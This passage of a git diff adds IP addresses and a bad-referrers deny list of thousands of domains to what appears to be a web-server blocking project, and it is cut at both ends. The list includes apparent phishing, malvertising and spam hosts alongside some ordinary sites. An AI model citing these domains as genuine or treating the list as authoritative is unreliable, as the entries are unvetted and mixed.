+89.190.156.26 +89.190.156.28 +89.20.96.210 +89.207.218.10 +89.208.103.230 +89.208.104.147 +89.208.97.186 +89.213.174.34 +89.216.47.154 +89.217.53.239 +89.218.165.138 +89.22.149.253 +89.22.151.11 +89.22.229.123 +89.22.233.73 +89.22.234.176 +89.22.235.215 +89.232.73.146 +89.234.157.254 +89.237.78.155 +89.245.48.167 +89.248.163.197 +89.248.163.200 +89.248.163.26 +89.248.165.96 +89.248.167.131 +89.248.168.239 +89.248.172.16 +89.25.181.2 +89.29.175.245 +89.29.183.15 +89.31.187.230 +89.47.200.22 +89.58.26.216 +89.58.30.200 +89.58.41.156 +89.77.160.8 +89.97.218.142 +89.99.162.210 +90.103.225.131 +90.142.41.139 +90.151.171.106 +90.151.171.109 +90.154.125.157 +90.154.140.48 +90.160.139.163 +90.167.13.113 +90.170.254.208 +90.176.67.60 +90.188.13.55 +90.189.120.243 +90.19.190.197 +90.219.70.176 +90.225.68.108 +90.229.216.53 +90.239.30.219 +90.35.237.62 +90.52.57.22 +90.69.185.89 +90.91.184.222 +91.103.110.33 +91.103.252.151 +91.103.253.62 +91.106.95.98 +91.121.2.118 +91.121.58.183 +91.122.226.189 +91.122.59.23 +91.126.83.167 +91.132.118.38 +91.132.144.59 +91.134.248.192 +91.134.248.249 +91.137.235.177 +91.142.220.242 +91.143.58.228 +91.144.150.27 +91.144.150.75 +91.144.154.74 +91.144.158.231 +91.144.162.41 +91.144.18.11 +91.144.20.198 +91.144.21.170 +91.147.93.36 +91.148.190.150 +91.151.128.225 +91.151.178.62 +91.151.88.144 +91.153.66.74 +91.159.141.225 +91.165.234.109 +91.183.228.180 +91.184.248.175 +91.185.50.165 +91.186.193.65 +91.187.123.160 +91.189.165.107 +91.189.183.213 +91.191.209.206 +91.191.209.234 +91.191.239.42 +91.201.215.187 +91.202.230.214 +91.202.233.16 +91.202.233.20 +91.205.210.234 +91.205.219.185 +91.206.26.26 +91.209.235.28 +91.210.59.57 +91.211.191.65 +91.213.99.45 +91.214.72.233 +91.215.110.81 +91.216.236.99 +91.217.109.82 +91.217.76.55 +91.218.102.193 +91.218.64.199 +91.219.196.17 +91.220.204.168 +91.221.76.28 +91.223.169.83 +91.224.17.247 +91.231.233.55 +91.232.120.102 +91.234.125.216 +91.236.168.249 +91.238.181.20 +91.238.181.21 +91.238.181.22 +91.238.181.23 +91.238.181.31 +91.238.181.32 +91.238.181.33 +91.238.181.34 +91.238.181.35 +91.238.181.71 +91.238.69.91 +91.239.19.66 +91.239.207.254 +91.239.79.50 +91.240.118.215 +91.240.61.14 +91.244.113.178 +91.244.115.35 +91.244.210.240 +91.244.73.221 +91.247.151.6 +91.64.155.152 +91.74.98.113 +91.75.14.80 +91.77.163.86 +91.89.206.128 +91.92.120.31 +91.92.130.12 +91.92.199.36 +91.92.69.27 +91.92.84.185 +92.115.16.65 +92.118.112.62 +92.118.39.101 +92.118.39.152 +92.118.39.17 +92.118.39.203 +92.118.39.212 +92.118.39.34 +92.118.39.37 +92.118.39.81 +92.118.39.84 +92.124.117.9 +92.124.144.204 +92.126.239.43 +92.131.162.246 +92.145.42.154 +92.15.149.52 +92.154.18.155 +92.154.95.236 +92.180.12.186 +92.204.144.151 +92.205.108.83 +92.205.231.90 +92.221.101.111 +92.222.108.131 +92.222.171.6 +92.222.181.145 +92.241.98.211 +92.246.139.102 +92.246.139.107 +92.246.84.133 +92.249.48.232 +92.249.48.49 +92.253.102.110 +92.253.120.169 +92.255.165.85 +92.255.182.200 +92.255.194.79 +92.255.195.59 +92.255.196.185 +92.255.196.218 +92.255.229.209 +92.255.242.100 +92.255.248.106 +92.255.57.51 +92.255.57.58 +92.255.57.59 +92.255.57.60 +92.255.85.107 +92.255.85.110 +92.255.85.111 +92.255.85.112 +92.255.85.120 +92.255.85.164 +92.255.85.253 +92.255.85.26 +92.255.85.27 +92.255.85.29 +92.255.85.35 +92.255.85.37 +92.255.85.50 +92.255.85.51 +92.255.85.52 +92.27.101.99 +92.27.157.252 +92.27.247.25 +92.31.0.236 +92.42.96.51 +92.43.189.6 +92.49.159.14 +92.50.124.58 +92.50.182.242 +92.50.183.250 +92.53.74.138 +92.55.190.215 +92.55.83.69 +92.60.39.47 +92.62.243.154 +92.63.197.210 +92.63.206.99 +92.65.107.171 +92.81.46.15 +92.87.22.210 +92.9.32.153 +92.99.157.216 +93.113.63.124 +93.113.63.8 +93.115.79.102 +93.117.197.98 +93.118.117.185 +93.120.240.202 +93.123.109.142 +93.123.194.205 +93.123.39.109 +93.123.39.141 +93.123.39.97 +93.123.85.105 +93.125.83.110 +93.131.11.78 +93.144.109.167 +93.144.110.156 +93.144.144.163 +93.144.53.153 +93.146.113.43 +93.147.111.138 +93.147.116.203 +93.148.140.165 +93.148.149.165 +93.148.169.171 +93.149.141.146 +93.149.142.155 +93.149.215.124 +93.150.73.115 +93.151.211.67 +93.155.249.95 +93.157.248.178 +93.160.174.27 +93.170.144.140 +93.170.38.54 +93.174.93.12 +93.174.95.106 +93.176.2.87 +93.182.160.222 +93.183.175.37 +93.183.185.21 +93.183.214.179 +93.184.151.18 +93.185.73.178 +93.188.83.96 +93.191.14.149 +93.240.123.227 +93.41.182.249 +93.43.213.187 +93.44.153.160 +93.51.132.21 +93.51.29.145 +93.51.37.228 +93.63.6.20 +93.65.105.24 +93.65.142.25 +93.66.167.67 +93.66.33.140 +93.66.33.250 +93.67.93.177 +93.70.115.16 +93.70.8.47 +93.71.135.152 +93.71.192.104 +93.71.20.190 +93.71.206.214 +93.71.60.141 +93.84.100.70 +94.100.99.195 +94.102.49.119 +94.102.49.193 +94.102.51.15 +94.102.51.218 +94.102.56.99 +94.103.125.122 +94.103.125.176 +94.103.125.204 +94.103.125.80 +94.113.240.21 +94.127.212.198 +94.130.27.51 +94.131.106.243 +94.131.211.168 +94.136.189.247 +94.137.64.219 +94.139.165.200 +94.139.207.214 +94.141.120.129 +94.141.120.150 +94.141.120.242 +94.141.120.39 +94.141.120.58 +94.141.120.65 +94.154.33.153 +94.156.104.179 +94.156.104.51 +94.156.104.53 +94.156.104.54 +94.156.104.56 +94.156.104.58 +94.156.104.59 +94.156.166.49 +94.156.167.217 +94.156.167.76 +94.156.167.78 +94.156.167.81 +94.156.167.83 +94.156.177.10 +94.156.177.104 +94.156.177.111 +94.156.177.12 +94.156.177.133 +94.156.177.138 +94.156.177.139 +94.156.177.20 +94.156.177.213 +94.156.177.224 +94.156.177.227 +94.156.177.26 +94.156.177.35 +94.156.177.41 +94.156.177.47 +94.156.177.49 +94.156.177.50 +94.156.177.58 +94.156.177.65 +94.156.177.67 +94.156.177.8 +94.158.154.170 +94.158.178.252 +94.158.246.181 +94.159.104.177 +94.159.113.18 +94.159.93.115 +94.177.106.38 +94.177.159.102 +94.179.107.98 +94.179.109.66 +94.181.151.139 +94.182.108.208 +94.182.176.185 +94.19.104.188 +94.190.222.124 +94.198.106.45 +94.20.233.203 +94.200.80.226 +94.202.50.236 +94.204.45.174 +94.204.97.129 +94.205.80.157 +94.205.83.205 +94.206.197.64 +94.206.198.147 +94.207.112.113 +94.207.26.37 +94.228.163.98 +94.228.169.57 +94.228.169.65 +94.23.123.1 +94.23.207.193 +94.23.219.59 +94.23.68.219 +94.230.119.157 +94.230.141.38 +94.230.208.147 +94.232.247.116 +94.232.247.194 +94.232.40.72 +94.236.200.144 +94.236.200.254 +94.236.239.42 +94.243.196.222 +94.244.56.3 +94.247.135.179 +94.249.88.26 +94.251.4.50 +94.254.0.234 +94.254.100.75 +94.255.198.236 +94.255.203.36 +94.26.228.213 +94.26.230.205 +94.41.0.232 +94.41.17.153 +94.41.208.194 +94.41.65.46 +94.45.56.254 +94.45.76.149 +94.52.209.104 +94.53.116.52 +94.53.155.34 +94.61.7.100 +94.65.124.96 +94.70.152.191 +94.70.195.149 +94.72.115.107 +94.72.117.217 +94.72.52.14 +94.75.224.180 +94.75.225.81 +94.78.7.67 +95.104.194.69 +95.105.113.109 +95.105.89.221 +95.128.43.164 +95.128.69.10 +95.129.113.9 +95.130.227.131 +95.130.227.206 +95.130.227.80 +95.133.36.7 +95.135.175.219 +95.138.243.145 +95.141.134.14 +95.141.228.9 +95.141.230.2 +95.152.60.122 +95.154.64.190 +95.160.28.219 +95.160.47.156 +95.163.84.18 +95.164.33.211 +95.164.69.179 +95.164.89.144 +95.165.152.97 +95.165.153.0 +95.165.29.72 +95.165.65.191 +95.167.133.86 +95.167.225.76 +95.167.53.114 +95.167.70.20 +95.17.36.7 +95.170.88.218 +95.173.161.230 +95.173.191.84 +95.174.104.112 +95.174.99.133 +95.181.135.99 +95.181.160.167 +95.181.161.231 +95.181.86.2 +95.181.94.204 +95.191.217.195 +95.214.27.168 +95.214.27.169 +95.214.27.170 +95.214.27.193 +95.214.27.27 +95.214.27.29 +95.214.27.30 +95.214.27.31 +95.214.27.32 +95.214.27.33 +95.214.27.38 +95.214.27.39 +95.214.27.40 +95.214.27.41 +95.214.53.91 +95.214.55.138 +95.214.55.43 +95.214.55.79 +95.215.210.102 +95.220.25.124 +95.221.37.33 +95.229.100.106 +95.229.118.228 +95.230.178.108 +95.231.227.242 +95.232.51.168 +95.233.217.217 +95.233.37.234 +95.234.172.88 +95.234.202.151 +95.237.42.11 +95.239.69.222 +95.245.2.248 +95.245.67.57 +95.250.114.130 +95.253.200.85 +95.254.148.168 +95.255.108.3 +95.27.217.114 +95.31.15.104 +95.31.6.109 +95.38.132.125 +95.47.119.228 +95.52.220.109 +95.53.130.181 +95.54.227.123 +95.56.227.226 +95.57.104.252 +95.58.255.251 +95.66.153.173 +95.66.159.143 +95.68.246.151 +95.78.114.126 +95.78.118.47 +95.78.121.151 +95.78.121.52 +95.78.163.153 +95.78.247.220 +95.78.37.53 +95.79.101.229 +95.79.108.51 +95.79.119.19 +95.79.223.17 +95.79.46.245 +95.79.50.161 +95.81.93.99 +95.84.148.71 +95.84.150.212 +95.84.154.77 +95.84.158.215 +95.84.192.168 +95.85.112.170 +95.85.114.218 +95.85.47.10 +95.86.209.66 +95.87.225.236 +95.87.248.223 +95.9.245.47 +95.90.242.212 +95.90.93.96 +95.91.237.70 +96.10.144.195 +96.126.120.184 +96.18.193.103 +96.18.32.153 +96.19.196.219 +96.2.25.172 +96.232.248.246 +96.239.60.74 +96.249.234.242 +96.37.119.29 +96.39.16.158 +96.45.16.67 +96.56.184.26 +96.67.159.90 +96.67.59.65 +96.68.36.250 +96.69.13.140 +96.70.176.106 +96.73.137.118 +96.76.89.46 +96.77.117.189 +96.77.209.214 +96.78.129.189 +96.78.175.36 +96.78.175.39 +96.78.175.41 +96.78.175.45 +96.79.174.131 +96.79.249.93 +96.80.236.155 +96.82.219.131 +96.84.234.234 +96.88.153.181 +97.100.112.124 +97.104.82.254 +97.107.129.124 +97.107.140.160 +97.68.103.6 +97.74.83.185 +97.74.87.26 +97.74.87.44 +97.74.95.243 +97.86.134.216 +98.10.121.246 +98.102.58.10 +98.109.152.47 +98.111.139.140 +98.116.240.38 +98.128.142.76 +98.128.173.33 +98.159.236.215 +98.172.65.94 +98.175.187.93 +98.177.3.82 +98.188.163.22 +98.223.168.193 +98.24.163.2 +98.40.228.65 +98.47.116.86 +98.57.97.40 +98.96.193.13 +98.96.193.2 +98.96.193.26 +98.96.193.29 +98.96.193.4 +98.96.193.5 +98.96.193.50 +98.96.193.51 +98.96.193.53 +98.97.66.1 +98.98.57.62 +99.145.84.238 +99.240.113.135 diff --git a/db/bad-referrers.txt b/db/bad-referrers.txt new file mode 100644 index 00000000..75f087ff --- /dev/null +++ b/db/bad-referrers.txt @@ -0,0 +1,7105 @@ +000free.us +007angels.com +00author.com +00go.com +00it.com +00webcams.com +01apple.com +03e.info +03p.info +08800.top +0912701309f8ce.com +0c47f8422d3f.com +0daymusic.org +0lovespells0.blogspot.com +0n-line.tv +1-99seo.com +1-free-share-buttons.com +1000n1.ru +1001desert.com +1001watch.com.ua +1008.su +100dollars-seo.com +100searchengines.com +101billion.com +101flag.ru +101lesbian.xyz +101raccoon.ru +108shot.com +10bet.com +11235813.webzdarma.cz +11pikachu.ru +123any.com +123cha.com +123kuma.com +123locker.com +123movies.love +12bet.com +12masterov.com +12u.info +1314dh.com +13tabs.com +14b.info +1688.com +178evakuator178.ru +18ps.ru +1adult.com +1bet.com +1flag.co.za +1hwy.com +1j7740kd.website +1kdailyprofit.me +1kinobig.ru +1millionusd.xyz +1pamm.ru +1qingdao.com +1stat.ru +1webmaster.ml +1xbet4you.com +2000k.ru +2015god.org +2020iscoming.info +202ch.com +20pascals.nl +214jaluwobapef.cf +21h2o.com +2345.com +23kw.ru +24-ak.ru +24videos.tv +24x7-server-support.site +256bit.by +2728fb936f0.com +273-fz.ru +28n2gl3wfyb0.ru +2ads.co.uk +2daytrendingnews.com +2drittel.de +2girls1cup-free.com +2itech.ru +2kata.ru +2nt.ru +2pxg8bcf.top +2rich4bitches.com +2x2fan.ru +3-letter-domains.net +300richmond.co.nz +34.gs +3dracergames.com +3rbseyes.com +3th.co.in +3w24.com +3weekdiet.com +3xforum.ro +404.mn +40cg.com +45en.ru +4inn.ru +4istoshop.com +4k-player.pl +4kepics.com +4kpics.rocks +4kplayer.pl +4pp13.com +4rent.ru +4replicawatch.net +4senses.co +4ur.click +4ureyesonly.com +4webmasters.com +4webmasters.org +5-steps-to-start-business.com +5000-cotydzien.com +51.la +51unlim.ru +55wmz.ru +57883.net +5elementov.ru +5forex.ru +5i2.net +5kstore.com +5tey7463.weebly.com +5u.com +5ws.dating-app.ru +6128786.com +66cpwgln.space +6hopping.com +70casino.online +72-news.com +76brighton.co.uk +777-club.ru +7a2rnuey1tw9ar.ru +7fon.ru +7makemoneyonline.com +7minuteworkout.com +7ooo.ru +7search.com +7wind.ru +7xc4n.com +7yue.org +7zap.com +83net.jp +8558l.jobs.net +883zy.com +888.com +8gold.com +8jn.dating-app.ru +8kisses.eu +8lufu.com +8si.ru +8xv8.com +91abcw.com +98oi.ru +991mostfm.co.id +999webdesign.com +9icmzvn6.website +9med.net +DomainStatsBot +a.frcls.fr +a.pr-cy.ru +a14download.com +a1security.com.ua +a96527gi.beget.tech +aa08daf7e13b6345e09e92f771507fa5f4.com +aa14ab57a3339c4064bd9ae6fad7495b5f.com +aa625d84f1587749c1ab011d6f269f7d64.com +aa81bf391151884adfa3dd677e41f94be1.com +aa8780bb28a1de4eb5bff33c28a218a930.com +aa8b68101d388c446389283820863176e7.com +aa9bd78f328a6a41279d0fad0a88df1901.com +aa9d046aab36af4ff182f097f840430d51.com +aaa38852e886ac4af1a3cff9b47cab6272.com +aab94f698f36684c5a852a2ef272e031bb.com +aac500b7a15b2646968f6bd8c6305869d7.com +aac52006ec82a24e08b665f4db2b5013f7.com +aad1f4acb0a373420d9b0c4202d38d94fa.com +aadroid.net +aanapa.ru +aarbur.com +aaronabel.com +aasoldes.fr +abbanreddy.com +abcdefh.xyz +abcdeg.xyz +abcguru.xyz +abclauncher.com +abctoppictures.net +abiente.ru +above.com +abovetherivernc.com +absolute-s.ru +absolutelyanalog.com +absugars.com +abtasty.com +abusora.com +abwa.tk +academia-nsk.org +academiacsmendoza.org +acads.net +acc.eu.org +accessoires-mode.in +acgs.tk +acheterviagrafr24.com +acmebtn.ml +acortarurl.es +actices.com +actionnooz.com +activecampaign.dreamhosters.com +activepr.ru +actulite.com +acunetix-referrer.com +ad-words.ru +adamoads.com +adanih.com +adbetclickin.pink +adcash.com +adclickservice.com +adclickthru.net +adconscious.com +add-add.men +addbin.men +addblueoff.com.ua +addray.pro +addtoadd.men +adelly.bg +adexprts.com +adf.ly +adhome.biz +adidas.frwebs.fr +adimmix.com +adinterax.com +adktrailmap.com +adloads.com +adloads.net +adman.gr +adman.se +admanaerofoil.com +admatic.com.tr +admeasures.com +adminshop.com +admitad.com +adnotbad.com +adobereader-free.ru +adpremium.org +adprotect.net +adrenalin-stk.ru +adrunnr.com +ads-cool.pro +ads-seo.men +ads.gold +ads.tremorhub.com +adserver-e7.com +adservme.com +adsfresh.men +adsland.men +adsloads.com +adsref.men +adssafeprotected.com +adtech.de +adtech.fr +adtech.us +adtiger.tk +adtology.com +adult-shop.com.ua +adult3dgames.com +adultactioncam.com +adultfriendfinder.com +adultfullhd.com +adultgalls.com +adultmeetonline.info +adultnet.in +adultwebhosting.info +advancedcleaner.com +advancedmassagebysara.com +advancedsoftwaresupport.com +adventureparkcostarica.com +adverster.com +advertex.info +advertisingtag.net +adviceforum.info +advocatemsk.ru +advokat-grodno.by +advokateg.ru +advokateg.xyz +adzerg.com +adzpower.com +aero2.ru +aerogo.com +affiliate-fr.com +affordablewebsitesandmobileapps.com +affrh2015.com +afftrack001.com +afmuseum.com +afora.ru +afslankpillen2017nl.eu +agadelha.com.br +agahinameh.com +agapovdg.ru +agardomains.com +agecheckadult.com +ageofclones.com +aghanyna.com +agreda.pluto.ro +agroeconom.kz +agysya.ru +ahhjf.com +ahmedabadwebs.com +ahrefs.com +ahrntal.verymes.xyz +aibolita.com +aihelen.net +aimayangzhi.com +air-edem.ru +airlandsea.info +airmaxshoes-2016.com +akama.com +akita.kz +aksonural.ru +aktivator-windows10.blogspot.com +aktobe.xkaz.org +akuhni.by +akusherok.ru +akvamaster.dp.ua +alarmobninsk.ru +albamargroup.com +alborzan.com +albumsuper.info +albuteroli.com +ald2014.org +alekseevec.ru +alert-fdm.xyz +alert-fjg.xyz +alert-hgd.xyz +alert-jdh.xyz +alert.scansafe.net +alessandraleone.com +alevinefesleri.com +alf-img.com +alfa-img.com +alfa-medosmotr.ru +alfa9.com +alfabot.xyz +alfapro.ru +algarveglobal.com +algerianembassy.co.in +alibestsale.com +alice.it +alienwheel.es +alienwheels.de +aliexpresscashback.club +alif-ba-ta.com +alive-ua.com +alkoravto.ru +all-number.com +all-streaming-media.com +all4invest.info +all4invest.ru +all4wap.ru +allbizne.co.ua +allblogroll.com +allboard.xobor.de +allcredits.su +alldezservice.kz +alldownload.pw +alldubai.biz +allesohnegirls.net +allfinweb.com +allforminecraft.ru +allknow.info +allkrim.com +allmarketsnewdayli.gdn +allnews.md +allnews24.in +allornamenti.com +alloysteel.ru +allpdfmags.net +allproblog.com +allsilver925.co.il +allstatesugarbowl.org +alltheviews.com +allwidewallpapers.com +allwomen.info +aloofly.com +alot.com +alphacarolinas.com +alphaforum.ru +alphahoverboards.com +alpharma.net +alphavisions.net +alpinism.ru +alt-servis.ru +alta-realestate.com +altamayoztourism.com +aludecor.info +alveris.ru +alvtank.se +alyeskaresort.com +am-se.com +am15.net +amanda-porn.ga +amateurgalls.com +amateurlivechat.org +amateurmatch.com +amazingninja.com +amazingpic.net +amazon-adsystem.com +amazon-seo-service.com +ameblo.jp +ameblo.top +amehdaily.com +amigobulls.com +amoi.tn +amospalla.es +ample-awards-today.us +ampower.me +amt-k.ru +amung.us +amyfoxfitness.com +an-donut.com +anabolics.shop +anaksma.info +anal-acrobats.com +anal-acrobats.hol.es +analnoeporno.tv +analytics-ads.xyz +ananumous.ru +anapa-inns.ru +anaseracresar.tk +anatomiy.com +andpolice.com +android-style.com +android-systems.ru +android-vsem.org +android4fun.org +androids-store.com +angel1777.kz +angigreene.com +angkortours.vn +angry-fermi-7633.arukascloud.io +animal-drawings.com +animal36.com +animali.deagostinipassion.it +animalia-life.club +animalrank.com +animaltoplist.com +anime.dougasouko.com +animebox.com.ua +animenime.ru +anjalika.co.in +anlimebel.kiev.ua +anmysite.com +anniemation.com +anonymizeme.pro +anonymous-redirect.com +anonymousfox.co +anti-virus-removal.info +anticrawler.org +antons-transporte.de +aosexkontakte.net +aosheng-tech.com +ap.senai.br +apartamentwroclaw.eu +apartment.ru +apartmentbay.ru +apartmentratings.com +apccargo.com +apelsinnik.website +apessay.com +api.stathat.com +apiadanaknet-a.akamaihd.net +apiallgeniusinfo-a.akamaihd.net +apiappenableinfo-a.akamaihd.net +apibatbrowsecom-a.akamaihd.net +apibetweenlinesn-a.akamaihd.net +apibrowsesmartne-a.akamaihd.net +apidiamondatanet-a.akamaihd.net +apidigidocketnet-a.akamaihd.net +apifasterlightin-a.akamaihd.net +apiholdingmypage-a.akamaihd.net +apiitsthirteende-a.akamaihd.net +apilinkswiftco-a.akamaihd.net +apiluckyleapnet-a.akamaihd.net +apimegabrowsebiz-a.akamaihd.net +apimossnetinfo-a.akamaihd.net +apimountainbikei-a.akamaihd.net +apioasisspacenet-a.akamaihd.net +apioutoboxnet-a.akamaihd.net +apiportalmorecom-a.akamaihd.net +apiqualitinknet-a.akamaihd.net +apisecretsaucebi-a.akamaihd.net +apishops.ru +apispringsmartne-a.akamaihd.net +apiwebwebgetcom-a.akamaihd.net +apiwoodensealcom-a.akamaihd.net +app-ready.xyz +app5.letmacworkfaster.world +apparel-offer.com +appartement-stumm.at +appearance-cool.com +apper.de +appfastplay.com +appfixing.space +appiq.mobi +apple.com-cleaner.systems +apple.com-webbrowsing-security.review +apple.com-webbrowsing-security.science +appleid-verification.com +applicationg29.com +applyneedy.xyz +appmsr.org +approved.su +approvedlocal.co.za +apps-analytics.net +appsaurus.com +appsecurityr.com +apptester.tk +aproposde.com +apxeo.info +aquarium-pro.ru +arabgirls.adultgalls.com +arabsexxxtube.com +arabseyes.com +aramaicmedia.org +arate.ru +arcadepages.com +arcadeplayhouse.com +architecturebest.com +arclk.net +arcteryxsale.online +arcteryxstore.online +ardimobileinfo.ml +arenanews.com.ua +arenda-avtoprokat-krasnodar.ru +arenda-yeisk.ru +arendakvartir.kz +arendas.net +arendatora.ru +arendovalka.xyz +arewater.com +arius.tech +arkartex.ru +arkkivoltti.net +arpelsreplica.xyz +arquapetrarca.info +arquivo.pt +arraty.altervista.org +artavenuegardenstudios.com +artdeko.info +artdestshop.eu +artefakct.com +artel116.ru +articlesdirectoryme.info +artparquet.ru +artpicso.com +aruplighting.com +arvut.org +as5000.com +asacopaco.tk +ascat.porn +asdfg.pro +asdfz.pro +asia-forum.ru +asiavirtualsolutions.com +asiengirls.net +asmxsatadriverin.aircus.com +asociatia-tipografilor-transilvania.ro +asophoto.com +asrv-a.akamaihd.net +asrv-a.akamoihd.net +asrvrep-a.akamaihd.net +asrvvv-a.akamaihd.net +asscenihotosidea.blogspot.co.za +asscenihotosidea.blogspot.com +asseenontv.ru +asseenontvonline.ru +astana.xxxkaz.org +astrochicks.com +atdedinotuho.tk +atelielembrancaqueencanta.com.br +atlant-auto.info +atlasvkusov.ru +atleticpharm.org +atley.eu.pn +atmagroup.ru +atmovs.com +atofilms.com +atout-energie-69.com +atovh.local-finders.com +aucoinhomes.com +audiobangout.com +audiofree.ru +ausergrubhof.info +ausmepa.org.au +auspolice.com +aussie-prizes.com +australia-opening-times.com +auto-moto-elektronika.cz +auto-zapchasti.org +auto.rusvile.lt +auto4style.ru +autoblogger24.info +autobrennero.it +autobudpostach.club +autochoixspinelli.com +autodo.info +autogrep.ru +autoloans.com +autolombard-krasnodar.ru +automatic-seo.com +automobile-spec.com +autonew.biz +autoplate.info +autorn.ru +autoseo-traffic.com +autotop.com.ua +autotrends.today +autoua.top +autovideobroadcast.com +autowebmarket.com.ua +availit.weebly.com +avek.ru +aversis.net +aviapanda.ru +aviav.co +aviav.eu +aviav.org +aviav.ru +aviav.ru.com +avirasecureserver.com +avitocars.ru +aviva-limoux.com +avkzarabotok.com +avkzarabotok.info +avon-novosib.ru +avon-severozapad.ru +avon-ukraine.com +avramstroy.ru +avto-oligarh.ru +avtoarenda.by +avtochehli.by +avtocredit-legko.ru +avtointeres.ru +avtolombard-krasnodar.com +avtolombard-krasnodar.ru +avtovolop.ru +awaybird.ru +awency.com +axbocz.net +ayakino.net +ayanaspa.com +ayeartoforget.com +ayerbo.xhost.ro +ayodhya.co +azadnegar.com +azartclub.org +azartmix.com +azartmsl.com +azartniy-bonus.com +azarttoto.com +azazaporn.com +azazu.ru +azbaseimages.net +azbuka-mo.ru +azbukadiets.ru +azbukafree.com +azinoofficial777.ru +azlex.uz +azte.ch +b-styles.xyz +b00kmarks.com +b2b-lounge.com +babespcs.com +babieca.com +bablonow.ru +babosas.com +babs.com.ua +babyfactory.fr +babyguns.ru +back.dog +backgroundpictures.net +backiee.com +backlink4u.net +backlinkwatch.com +backuperwebcam.weebly.com +bad-stars.net +badavit.com.ua +baditri.com +baersaratov.ru +bag77.ru +bagcionderlab.com +bagsonsale.online +baikaleminer.com +baixar-musicas-gratis.com +baksman.com +bala.getenjoyment.net +baladur.ru +balans.shahterworld.org +balitouroffice.com +balkanfarma.org +balkanfarma.ru +balla-boo.se +balois.worldbreak.com +balook.com +baltgem.com +bambi.ck.ua +bamo.xsl.pt +banan.tv +bang-hotties.com +bangla-chat-uk-paralud.ga +bank.uz +bankcrediti.ru +banki76.ru +bankiem.pl +bankmib.ru +bankofthewext.com +banksrf.ru +bannerads.de +bannerbank.ru +bannerconnect.net +bannerpower.com +bannerspace.com +bannerswap.com +bannertesting.com +baoxaydung.com.vn +barbourjackets.online +bard-real.com.ua +barnfurnituremart.com +basedecor.ru +bashtime.ru +basisches-wasser.net +batanga.net +battle.net +battlecarnival.su +battleforupdating.site +bausparen.bz.it +bavsac.com +bayareaaeroclub.org +bazaronline24.ru +bbsoldes.fr +bbtec.net +bcmp.org +bdsmgalls.net +beachdriveblog.com +beachfix.co +beachpics.com +beachtoday.ru +bear.gotcher.us +beatifullandscape.co +beauby.ru +beauty-b0x.pl +beauty-bracelet.com +beauty-clinic.ru +beauty-things.com +beclean-nn.ru +becuo.com +bedandbreakfast.com +bedcapdealers.com +beetpics.pw +begalka.xyz +beget.tech +belinka.com.ua +belinvestdom.by +belsetirehafi.tk +belstaffstore.online +benchmarkcommunications.co.uk +bensbargains.net +berdasovivan.ru +beremenyashka.com +berlininsl.com +berrymall.ru +best-businessman.ru +best-coupon-offer.com +best-deals-products.com +best-games.today +best-mam.ru +best-seo-offer.com +best-seo-software.xyz +best-seo-solution.com +best-way.men +bestadbid.com +bestbrainprod.win +bestbuy.ca +bestcalovebracelet.cn +bestchoice.cf +bestcoin.cc +bestcurs.org +bestdooz.com +bestdraws.com +bestempresas.es +bestfortraders.com +besthomemadepornsites.com +besthoro.ru +bestimagecoollibrary.com +bestkfiledxd.cf +bestmarriages.com +bestmobilityscooterstoday.com +bestmouthwash.club +bestofferswalkmydogouteveryday.gq +bestofpicture.com +bestofupload.info +bestplacetobuyeriacta.jw.lt +bestpornuha.com +bestpriceninja.com +bestprofits-there.com +bestserials.com +bestsexyblog.com +bestssaker.com +besttorrentknifta.weebly.com +bestwaystogetpaid.us +bestwebsiteawards.com +bestwebsitesawards.com +bestwrinklecreamnow.com +bet-prognoz.com +bet365.com +beta.hotkeys.com +betonka.pro +betshuckclean.com +betterhdporn.com +betteroffers.review +betterscooter.com +betune.onlinewebshop.net +betwinservice.com +beyan.host.sk +bezcmexa.ru +bezlimitko.xyz +bezsporno.ru +beztuberkuleza.ru +bfz.biz +bg6s0.com +bget.ru +bgviagrachrx.com +bharatdefencekavach.com +bibys.com +bidbuy.co.kr +bidr.trellian.com +bif-ru.info +big-boards.info +big-cash.net +bigames.online +bigcareer.info +bigcities.org +biglistofwebsites.com +bigpenisguide.com +bigpictures.club +biketank.ga +bikini-image.com +bildsuche.ru +billiard-classic.com.ua +bimatoprost-careprost.com +bimatoprost-careprost.com.ua +bimmerpost.com +bin-brokers.com +binaryoptionscops.info +bingo8888.com +bingoporno.com +binomo.com +binomo.kz +bio-japan.net +bio-market.kz +bio-optomarket.ru +bio.trade-jp.net +bioca.org +biocn.dx.am +biographiya.com +bioinnovate.co +bioscorp.ru +bird1.ru +birzha-truda.eu +bitcoin-ua.top +bitcoinpile.com +bitcoinremote.com +bitcoins-live.ru +biteg.xyz +bitnote.co +bitporno.sx +bizcheapjerseyswholesalechina.com +bizfly.info +bizlist.com.de +biznesluxe.ru +biznesrealnost.ru +biznesschat.net +bizru.info +bizzliving.com +bjanshee.ru +bjetjt.com +bjgugu.net.ua +bjorkbacken.nu +bkgr.se +bkns.vn +blackbabesporn.com +blackcurranthumidifiers.site +blackhatworth.com +blackle.com +blackplanet.com +blacktwhite.com +blackwitchcraft.ru +blagovest-med.ru +blavia.00author.com +blobar.org +blockety.co +blockworld.ru +blog-hits.com +blog.axant.it +blog.f00kclan.de +blog.koorg.ru +blog.koreadaily.com +blog.remote-computer.de +blog.yam.com +bloggedporn.com +bloggen.be +bloggerads.net +bloggers.nl +blogig.org +bloglag.com +blogos.kz +blogporn.in +blogqpot.com +blogrankers.com +blogs.rediff.com +blogsfunky672.weebly.com +bloke.com +blpmovies.com +blue-square.biz +bluejays-jerseys.us +bluelabelsky.com +bluerobot.info +bluesalt.co +bluesman.nu +bmsco.co +bmw-ark.ru +bmw.afora.ru +bmwhighperformers.com +bnt-team.com +boanonihaca.tk +board.f00d.de +boazpower.com +bobba.dzaba.com +bobinoz.com +boc.kz +bochemit.com.ua +bocoarchives.org +bodybuilding-shop.biz +boeuklad.com +bolegapakistan.com +boleznikogi.com +bolezniorganov.ru +bolitgorlo.net +boltalko.xyz +bombla.org +bonanza-fortune.men +bongacams.com +bongiornos.info +bonkers.name +bonky.biz +bonux.nextview.ru +bonvillan.com +bonzbuddy.com +bonzibuddi.com +bonzybuddy.com +boo-arts.com +boobsimge.com +book-bets.com +bookhome.info +bookmaker-bet.com +bookmark4you.com +bookmark4you.com.biz +boole.onlinewebshop.net +boom-celebs.com +boostmyppc.com +bosefux.esy.es +bosman.pluto.ro +bouda.kvalitne.cz +bpro1.top +bracketsmackdown.com +bradleylive.xyz +brainboosting.club +brainboostingsupplements.org +braindaily.xyz +brains2.biz +brainsandeggs.blogspot.com +braintobe.win +brainxs.us +brainzpod.win +braip.com.br +brakehawk.com +brandbucket.com 